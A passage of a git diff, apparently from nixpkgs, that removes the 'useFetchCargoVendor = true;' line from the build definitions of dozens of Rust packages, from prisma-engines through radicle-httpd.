@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-fGm3HDMJ12HlVOjLtaS2hcAzVl/jl4nqMYly0aBVRxw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-zfx6SDtvn5waKWZB1gVxcvCzP+Rp7+J+txaRHoRfaBM=";
 
   meta = {
diff --git a/pkgs/by-name/pr/prisma-engines/package.nix b/pkgs/by-name/pr/prisma-engines/package.nix
index 9e7f036ee8e6..e76fe3da9f94 100644
--- a/pkgs/by-name/pr/prisma-engines/package.nix
+++ b/pkgs/by-name/pr/prisma-engines/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Ty8BqWjZluU6a5xhSAVb2VoTVY91UUj6zoVXMKeLO4o=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-HjDoWa/JE6izUd+hmWVI1Yy3cTBlMcvD9ANsvqAoHBI=";
 
   # Use system openssl.
diff --git a/pkgs/by-name/pr/probe-rs-tools/package.nix b/pkgs/by-name/pr/probe-rs-tools/package.nix
index 99ef721a9216..481b4a3fcd5c 100644
--- a/pkgs/by-name/pr/probe-rs-tools/package.nix
+++ b/pkgs/by-name/pr/probe-rs-tools/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-xtUaGJyzr0uQUb/A+7RmOVVgrXIctr2I9gLPU2/rXso=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-acGLTbWI0SHspFISWw5Lj+sqn5HE4du5jTC3NS5zzh8=";
 
   buildAndTestSubdir = pname;
diff --git a/pkgs/by-name/pr/process-viewer/package.nix b/pkgs/by-name/pr/process-viewer/package.nix
index 06fdc363d711..22d2b21503cd 100644
--- a/pkgs/by-name/pr/process-viewer/package.nix
+++ b/pkgs/by-name/pr/process-viewer/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-mEmtLCtHlrCurjKKJ3vEtEkLBik4LwuUED5UeQ1QLws=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-vmNqay/tYGASSez+VqyCQVMW+JGqfBvjwSKx0AG/LeY=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/pr/procs/package.nix b/pkgs/by-name/pr/procs/package.nix
index 53f4f55efffb..6c812b1ca6ef 100644
--- a/pkgs/by-name/pr/procs/package.nix
+++ b/pkgs/by-name/pr/procs/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-+qY0BG3XNCm5vm5W6VX4a0JWCb4JSat/oK9GLXRis/M=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/y+9EA3PhyI5iqg2wM0ny41nBDJiKnsjvbmPfCe5RJk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/pr/projectable/package.nix b/pkgs/by-name/pr/projectable/package.nix
index 657d2616f4b7..5333c183337b 100644
--- a/pkgs/by-name/pr/projectable/package.nix
+++ b/pkgs/by-name/pr/projectable/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-GM/dPmLnv1/Qj6QhBxPu5kO/SDnbY7Ntupf1FGkmrUY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-b/jB34Y1QXJsOLBliNeOxm1l4TIoEex5y6pDVPC4UVw=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/pr/proksi/package.nix b/pkgs/by-name/pr/proksi/package.nix
index 3f8fa3eb4bb1..c3fc6d5901a0 100644
--- a/pkgs/by-name/pr/proksi/package.nix
+++ b/pkgs/by-name/pr/proksi/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     tomlq -ti 'del(.bench)' crates/proksi/Cargo.toml
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MYyPYZFmbQZszYViaGZdbUZWM739MN14J1ckyR8hXZc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/pr/proto/package.nix b/pkgs/by-name/pr/proto/package.nix
index 7c63991f9c62..be18d5f29836 100644
--- a/pkgs/by-name/pr/proto/package.nix
+++ b/pkgs/by-name/pr/proto/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-VtU59YvNqpHvZ1WRj87Heo8RDyCOzleB+odE4DOQYag=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wPB4YBNzDg9eoVCY4bbbvKu171Qdh7JJZIT9rD5hVdI=";
 
   buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [
diff --git a/pkgs/by-name/pr/protoc-gen-prost-crate/package.nix b/pkgs/by-name/pr/protoc-gen-prost-crate/package.nix
index dcce71734367..8e2386991c76 100644
--- a/pkgs/by-name/pr/protoc-gen-prost-crate/package.nix
+++ b/pkgs/by-name/pr/protoc-gen-prost-crate/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-9rIFDZbI6XGDsNzFMnMYY4loJxojdz6vnQKAz9eDAyQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-DjxoORk/DNXQ7ht7L4lxzMfst1i3m/cT7sqn2HoRN9U=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/pr/protoc-gen-prost-serde/package.nix b/pkgs/by-name/pr/protoc-gen-prost-serde/package.nix
index 28fb50388cb0..fc417d085b25 100644
--- a/pkgs/by-name/pr/protoc-gen-prost-serde/package.nix
+++ b/pkgs/by-name/pr/protoc-gen-prost-serde/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-RQlNVGa6BRIqIGodqNN3eGl//hkUWrq7GpTGpRBCDgE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OWSXA3S3o5eqM3pg2MPxx3HrCma778YJaPFOJq7S5zY=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/pr/protoc-gen-prost/package.nix b/pkgs/by-name/pr/protoc-gen-prost/package.nix
index e5ef28f2f25e..8beeef3a73c1 100644
--- a/pkgs/by-name/pr/protoc-gen-prost/package.nix
+++ b/pkgs/by-name/pr/protoc-gen-prost/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Bz5/LyKludw0Tz3r+xr4DMRdMSz/nRzjs7Q66z1PrTU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-alzrgiOx9zTR9mgmtvcqpj9SxSz7Zz3mmZOX6vfAFeE=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/pr/protoc-gen-rust-grpc/package.nix b/pkgs/by-name/pr/protoc-gen-rust-grpc/package.nix
index 066f97c2c820..8346f854d3e8 100644
--- a/pkgs/by-name/pr/protoc-gen-rust-grpc/package.nix
+++ b/pkgs/by-name/pr/protoc-gen-rust-grpc/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-gt+Qa68N5EkqhCAvU2ISvVPT9vYPXMySad4DCyTVHkQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7PTe7popLS0zYYKv+K4629GkNG1wR/fhGi14a/4pkS0=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/pr/protoc-gen-rust/package.nix b/pkgs/by-name/pr/protoc-gen-rust/package.nix
index 378754aee68c..aa3ed87a2257 100644
--- a/pkgs/by-name/pr/protoc-gen-rust/package.nix
+++ b/pkgs/by-name/pr/protoc-gen-rust/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-yGZ4auZHGtcsN6n4/FEzabsSXproyhNTJHIwujt7ijg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cj+/X3soc//lMOmBjfjQT+QhY/EWP92gChiDQ7b2fsM=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/pr/protoc-gen-tonic/package.nix b/pkgs/by-name/pr/protoc-gen-tonic/package.nix
index dd809bc8994f..e45fb6433acd 100644
--- a/pkgs/by-name/pr/protoc-gen-tonic/package.nix
+++ b/pkgs/by-name/pr/protoc-gen-tonic/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-H7YQ8y6YA8kjR9bhHfBOYu0OEFc8ezqXkqC6jGScs3s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ihEHLFCC5jNpFIIvBUFCxKvpjY/OhOH5UgbvuQMFv3s=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/pr/protols/package.nix b/pkgs/by-name/pr/protols/package.nix
index dd75421810dc..254663f3be01 100644
--- a/pkgs/by-name/pr/protols/package.nix
+++ b/pkgs/by-name/pr/protols/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-v4ROQVoJmrukHFrxykr6EuBFXRuaBnPZ7f36ly7rPhg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-fmsPkXwu8qy+SRyP5w940gqNmXg0V/p/vDSI7EIFrh0=";
 
   meta = {
diff --git a/pkgs/by-name/pr/proton-caller/package.nix b/pkgs/by-name/pr/proton-caller/package.nix
index 2f22dfe0e8f4..0b794b83a436 100644
--- a/pkgs/by-name/pr/proton-caller/package.nix
+++ b/pkgs/by-name/pr/proton-caller/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-srzahBMihkEP9/+7oRij5POHkCcH6QBh4kGz42Pz0nM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-AZp6Mbm9Fg+EVr31oJe6/Z8LIwapYhos8JpZzPMiwz0=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/pr/protox/package.nix b/pkgs/by-name/pr/protox/package.nix
index 480ed5d4c0ff..8107a6643d54 100644
--- a/pkgs/by-name/pr/protox/package.nix
+++ b/pkgs/by-name/pr/protox/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-U9+7k7dQ6YFfsKMfFMg34g42qLvn+mcSRlAAys3eXNo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Hfo7Yj2ttO5Yj1YfksjgN5RVUocSsS23I+p+0whpzX4=";
 
   buildFeatures = [ "bin" ];
diff --git a/pkgs/by-name/pr/proximity-sort/package.nix b/pkgs/by-name/pr/proximity-sort/package.nix
index 38c24ff597e3..74a003ee691c 100644
--- a/pkgs/by-name/pr/proximity-sort/package.nix
+++ b/pkgs/by-name/pr/proximity-sort/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-MRLQvspv6kjirljhAkk1KT+hPA4hdjA1b7RL9eEyglQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rlxNvIYtVdWth5ZEdbmxOf3GKXIBpHnGDcSO883Ldjg=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/pr/prqlc/package.nix b/pkgs/by-name/pr/prqlc/package.nix
index ba09becf04be..81ba09dc431c 100644
--- a/pkgs/by-name/pr/prqlc/package.nix
+++ b/pkgs/by-name/pr/prqlc/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-lJkZXiwZUr/qACb9X52EGR0FBOicuPMmyA1105G7gZU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Dq5jfj5Z4W9x43LncgWspOWVtGnsJPQ8xvC1gGYiPYw=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/pr/prr/package.nix b/pkgs/by-name/pr/prr/package.nix
index d16e452b3a9c..db875e1a266f 100644
--- a/pkgs/by-name/pr/prr/package.nix
+++ b/pkgs/by-name/pr/prr/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-siQZ3rDKv2lnn1bmisRsexWwfvmMhK+z4GZGPsrfPgc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-VIJFr1HpXMC2DXt79Yb1DuLYSbo9g6zsXaNDTXjtlR4=";
 
   buildInputs = [ openssl ];
diff --git a/pkgs/by-name/pr/prs/package.nix b/pkgs/by-name/pr/prs/package.nix
index 03f66f6f8422..aa954269fe7f 100644
--- a/pkgs/by-name/pr/prs/package.nix
+++ b/pkgs/by-name/pr/prs/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-W5wNmZWjSsM6Xe50fCpa/aGsJ8PDyh2INs1Oj86et04=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-IRWOY+FudPH2AEUTplwUWKK431x+CRkVF3VXxVWFKeI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ps/psst/package.nix b/pkgs/by-name/ps/psst/package.nix
index a1e3cf3ef9b9..836c58053e58 100644
--- a/pkgs/by-name/ps/psst/package.nix
+++ b/pkgs/by-name/ps/psst/package.nix
@@ -42,7 +42,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-BkGoaYflCTiElTj47r2j/ngUrZ9wIe0q4pl+zhoattA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-gt2EDrZ+XXig5JUsmQksSLaFd7UArnttOT4UiTVASXw=";
 
   # specify the subdirectory of the binary crate to build from the workspace
diff --git a/pkgs/by-name/ps/psw/package.nix b/pkgs/by-name/ps/psw/package.nix
index b288a3e3b2f3..3090ed078d83 100644
--- a/pkgs/by-name/ps/psw/package.nix
+++ b/pkgs/by-name/ps/psw/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-Rf6vpVgenTzb42/aGqItuxUodl61eNyUPlry7rgLPbI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-dfHcyGQYkjEAhrNRlD5BTbMwaZaO/E0KwqZJ8TjelGw=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/pt/ptags/package.nix b/pkgs/by-name/pt/ptags/package.nix
index 00ed0da95640..d8f75c439fb8 100644
--- a/pkgs/by-name/pt/ptags/package.nix
+++ b/pkgs/by-name/pt/ptags/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-bxp38zWufqS6PZqhw8X5HR5zMRcwH58MuZaJmDRuiys=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-zzbGyfuzJXB/Rf/cm4JTVfjx2rWz1iTnELokie6qBrw=";
 
   nativeBuildInputs = [ makeWrapper ];
diff --git a/pkgs/by-name/pu/pueue/package.nix b/pkgs/by-name/pu/pueue/package.nix
index 7674bcfc86a5..a6e9e052f684 100644
--- a/pkgs/by-name/pu/pueue/package.nix
+++ b/pkgs/by-name/pu/pueue/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-TDxTj7VGzJzd6RWyVbe2ubpVS57bqq7OVvi23ZHmYDM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-R94D9/J+Zl86Rb4+5O2Hp9GmcwnRt+0wJ56CHFoy/zg=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/pu/pulldown-cmark/package.nix b/pkgs/by-name/pu/pulldown-cmark/package.nix
index 6adf7b8fbe62..7bdf7d41c08b 100644
--- a/pkgs/by-name/pu/pulldown-cmark/package.nix
+++ b/pkgs/by-name/pu/pulldown-cmark/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-lp0ywX/3phfC30QvYkO2wFZNSinP4cdm4HY744EZ02o=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ek6Eczqb/kxxoZFakGcwrgqXAtNCtQxDX2PHdOcIUjU=";
 
   meta = {
diff --git a/pkgs/by-name/pw/pw-viz/package.nix b/pkgs/by-name/pw/pw-viz/package.nix
index 0d193713e6e8..71c264bf052b 100644
--- a/pkgs/by-name/pw/pw-viz/package.nix
+++ b/pkgs/by-name/pw/pw-viz/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-fB7PnWWahCMKhGREg6neLmOZjh2OWLu61Vpmfsl03wA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-jsaWrdJRKfu75Gw8qGHxx0FHK7rOEK8IEDiQ6ktZsM0=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/pw/pw-volume/package.nix b/pkgs/by-name/pw/pw-volume/package.nix
index deb28d104371..1d0f891822ae 100644
--- a/pkgs/by-name/pw/pw-volume/package.nix
+++ b/pkgs/by-name/pw/pw-volume/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-r/6AAZKZgPYUGic/Dag7OT5RtH+RKgEkJVWxsO5VGZ0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MQ21pM8aSA/OnxGPVSEVVM6yF0CeX1T0VYN27tqZru8=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/pw/pwalarmctl/package.nix b/pkgs/by-name/pw/pwalarmctl/package.nix
index 4c6c03e3e6e6..134dc995d9fa 100644
--- a/pkgs/by-name/pw/pwalarmctl/package.nix
+++ b/pkgs/by-name/pw/pwalarmctl/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-xoC1PtDQjkvoWb9x8A43ITo6xyYOv9hxH2pxiZBBvKI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wD6djP2FQgJNL9EryRrv6NrEex0bnqDJmfYw+S2x508=";
 
   preBuild = ''
diff --git a/pkgs/by-name/pw/pwalarmd/package.nix b/pkgs/by-name/pw/pwalarmd/package.nix
index 07c6354d4a1a..ffc371b34762 100644
--- a/pkgs/by-name/pw/pwalarmd/package.nix
+++ b/pkgs/by-name/pw/pwalarmd/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-xoC1PtDQjkvoWb9x8A43ITo6xyYOv9hxH2pxiZBBvKI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wD6djP2FQgJNL9EryRrv6NrEex0bnqDJmfYw+S2x508=";
 
   meta = {
diff --git a/pkgs/by-name/pw/pwninit/package.nix b/pkgs/by-name/pw/pwninit/package.nix
index 3a889cef0f54..df48f1beac5f 100644
--- a/pkgs/by-name/pw/pwninit/package.nix
+++ b/pkgs/by-name/pw/pwninit/package.nix
@@ -34,7 +34,6 @@ rustPlatform.buildRustPackage rec {
   '';
   doCheck = false; # there are no tests to run
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-N0vje5ZU7B++f71BJKwkEfpbInpermH241f6oP1/fQE=";
 
   meta = {
diff --git a/pkgs/by-name/py/py-spy/package.nix b/pkgs/by-name/py/py-spy/package.nix
index f0000dd4c458..f8ab35b922ae 100644
--- a/pkgs/by-name/py/py-spy/package.nix
+++ b/pkgs/by-name/py/py-spy/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-T96F8xgB9HRwuvDLXi6+lfi8za/iNn1NAbG4AIpE0V0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-velwX7lcNQvwg3VAUTbgsOPLlA5fAcPiPvczrBBsMvs=";
 
   buildFeatures = [ "unwind" ];
diff --git a/pkgs/by-name/py/pylyzer/package.nix b/pkgs/by-name/py/pylyzer/package.nix
index 8c7001a0f23a..16f006bc92a8 100644
--- a/pkgs/by-name/py/pylyzer/package.nix
+++ b/pkgs/by-name/py/pylyzer/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-cSMHd3j3xslSR/v4KZ5LUwxPPR/b+okwrT54gUyLXXw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JrDj88JjQon2rtywa/PqnS1pTxTLigPHNnqQS/tO9RA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/py/python-launcher/package.nix b/pkgs/by-name/py/python-launcher/package.nix
index 7d2bef8b0279..29e056a29419 100644
--- a/pkgs/by-name/py/python-launcher/package.nix
+++ b/pkgs/by-name/py/python-launcher/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-wRKTBvLLo0Vvvh1GtF9hOnUHNpOeX950y1U+8JYBGoE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rWawf1YYeTWKPaZwua/f4BNo56z3mkCBU4jyZIFNqP4=";
 
   nativeCheckInputs = [ python3 ];
diff --git a/pkgs/by-name/qd/qdrant/package.nix b/pkgs/by-name/qd/qdrant/package.nix
index fb4ee5fcf4ce..3805c72c2d7c 100644
--- a/pkgs/by-name/qd/qdrant/package.nix
+++ b/pkgs/by-name/qd/qdrant/package.nix
@@ -21,8 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-l/nWlpV3eecTzFK3MnHzmXGYocxKw+YPsyfHWuE/rwg=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-VUUL+oz8nCCNvDohDLfRai+KKd6uG0RLti31mk40wVY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/qi/qir-runner/package.nix b/pkgs/by-name/qi/qir-runner/package.nix
index 2203f4092044..3ef5a3f94a21 100644
--- a/pkgs/by-name/qi/qir-runner/package.nix
+++ b/pkgs/by-name/qi/qir-runner/package.nix
@@ -27,7 +27,6 @@ rustPlatform.buildRustPackage rec {
     libxml2
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-XzxkSzbjJdJaUmXK2nwd9naIDCsfXiLLlTyf8AFSvzA=";
 
   meta = {
diff --git a/pkgs/by-name/qm/qmk_hid/package.nix b/pkgs/by-name/qm/qmk_hid/package.nix
index 2b2e525cc93e..bad868dceecc 100644
--- a/pkgs/by-name/qm/qmk_hid/package.nix
+++ b/pkgs/by-name/qm/qmk_hid/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-wJi7FQrvMbdTwvbbjBnzmxupMbEuM8TeZ0JIK5ulQKI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ytg4pgPzl9dKyCWgRRVRg1noNRvBhBnWNf9bmNcHnjY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/qr/qrrs/package.nix b/pkgs/by-name/qr/qrrs/package.nix
index 462cce869a48..189e039e3e0e 100644
--- a/pkgs/by-name/qr/qrrs/package.nix
+++ b/pkgs/by-name/qr/qrrs/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-L8sqvLbh85b8Ds9EvXNkyGVXm8BF3ejFd8ZH7QoxJdU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/aRr5UeGKGt+H9+C9MWcpMriPeIVEwp7xnigrUvMUiw=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/qr/qrscan/package.nix b/pkgs/by-name/qr/qrscan/package.nix
index 9a96f7f3e52c..bd4a3f528bc2 100644
--- a/pkgs/by-name/qr/qrscan/package.nix
+++ b/pkgs/by-name/qr/qrscan/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     })
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-hBDB/Cp8JTk9hF3qDBCb7LicUZdpXHm2i2dsuw5geO4=";
 
   checkFlags = [
diff --git a/pkgs/by-name/qr/qrtool/package.nix b/pkgs/by-name/qr/qrtool/package.nix
index 0c7730c3cee7..9d653306d5f2 100644
--- a/pkgs/by-name/qr/qrtool/package.nix
+++ b/pkgs/by-name/qr/qrtool/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-f/2AaNnojtZMhJod6ukLwEq+Bsu6O2oTD9OWGL8IS80=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wXs3Y0g+inUU3Qho5UhZOJhNDs65HS6FjPdZQBuwLM0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/qs/qsv/package.nix b/pkgs/by-name/qs/qsv/package.nix
index ee71ee3cd512..abc19a76d61e 100644
--- a/pkgs/by-name/qs/qsv/package.nix
+++ b/pkgs/by-name/qs/qsv/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-rMqDn2Dw64xxAVE3ZslKzpyNfgRMrLIALHjVtcq0vqU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/hkFIM7grcyMYNdM5UP2Mx+hBuw7zk8R2KbUYp2UkTg=";
 
   buildInputs = [
diff --git a/pkgs/by-name/qu/quantframe/package.nix b/pkgs/by-name/qu/quantframe/package.nix
index a6a70280fb89..440851cff716 100644
--- a/pkgs/by-name/qu/quantframe/package.nix
+++ b/pkgs/by-name/qu/quantframe/package.nix
@@ -45,7 +45,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-3IHwwbl1aH3Pzh9xq2Jfev9hj6/LXZaVaIJOPbgsquE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-UyfSmlr+5mWmlisNtjF6jZKx92kdQziG26mgeZtkySY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/qu/quick-webapps/package.nix b/pkgs/by-name/qu/quick-webapps/package.nix
index aadb689f944a..6ca5c300d1c5 100644
--- a/pkgs/by-name/qu/quick-webapps/package.nix
+++ b/pkgs/by-name/qu/quick-webapps/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-yd4lALm7eG4NxrvaduZC1SZEE83j/nRsG2ufrfUMJJM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-gg8WCzKbpFT8SRzMxC7ezvv+uN9IpIbGy/yytFC9uaM=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/qu/quill/package.nix b/pkgs/by-name/qu/quill/package.nix
index dd214c8a4789..6a21da277142 100644
--- a/pkgs/by-name/qu/quill/package.nix
+++ b/pkgs/by-name/qu/quill/package.nix
@@ -44,7 +44,6 @@ rustPlatform.buildRustPackage rec {
     export OPENSSL_LIB_DIR=${lib.getLib openssl}/lib
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rpsbQYA6RBYSo2g+YhYG02CYlboRQvIwMqPAybayCOs=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/qw/qwertone/package.nix b/pkgs/by-name/qw/qwertone/package.nix
index 9ecd2f0dc3d9..55e5dc685c6a 100644
--- a/pkgs/by-name/qw/qwertone/package.nix
+++ b/pkgs/by-name/qw/qwertone/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-GD7iFDAaS6D7DGPvK+Cof4rVbUwPX9aCI1jfc0XTxn8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5hrjmX+eUPrj48Ii1YHPZFPMvynowSwSArcNnUOw4hc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/r0/r0vm/package.nix b/pkgs/by-name/r0/r0vm/package.nix
index 1c7f55d5f828..662188fcf29f 100644
--- a/pkgs/by-name/r0/r0vm/package.nix
+++ b/pkgs/by-name/r0/r0vm/package.nix
@@ -30,7 +30,6 @@ rustPlatform.buildRustPackage rec {
 
   doCheck = false;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7vN3HRBCzvXT5Xoj+ciCiy+OQ0bC8s4C5360W+1Uld0=";
 
   postPatch =
diff --git a/pkgs/by-name/ra/ra-multiplex/package.nix b/pkgs/by-name/ra/ra-multiplex/package.nix
index 65dfc7fe37a4..5024c50e43c3 100644
--- a/pkgs/by-name/ra/ra-multiplex/package.nix
+++ b/pkgs/by-name/ra/ra-multiplex/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-aBrn9g+MGXLAsOmHqw1Tt6NPFGJTyYv/L9UI/vQU4i8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-NVE/ROk6x1R0D5eyOzz1gYPvgG0lX5L2tCuZGIS9kzs=";
 
   nativeBuildInputs = [ makeWrapper ];
diff --git a/pkgs/by-name/ra/rabbitmqadmin-ng/package.nix b/pkgs/by-name/ra/rabbitmqadmin-ng/package.nix
index 14343ffd73bb..d4830551a5a6 100644
--- a/pkgs/by-name/ra/rabbitmqadmin-ng/package.nix
+++ b/pkgs/by-name/ra/rabbitmqadmin-ng/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-b6xa12jop0YbbUNYNrCvCEJH17lx/Ski3maKUWVVAjE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qPbh8kRm57ferdv2+hGaOXFCK49hYzDrVb6ePbaPuAM=";
 
   buildInputs = [ openssl ];
diff --git a/pkgs/by-name/ra/radicle-httpd/package.nix b/pkgs/by-name/ra/radicle-httpd/package.nix
index 365992ca2b1f..f7ff97ade73b 100644
--- a/pkgs/by-name/ra/radicle-httpd/package.nix
+++ b/pkgs/by-name/ra/radicle-httpd/package.nix
@@ -24,7 +24,7 @@ rustPlatform.buildRustPackage rec {
   };
 
   sourceRoot = "${src.name}/radicle-httpd";
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-wSz0kM2XU717A0+mU+3eOHJWlRGdG9KjvfUkUq5bv14=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ra/radicle-node/package.nix b/pkgs/by-name/ra/radicle-node/package.nix
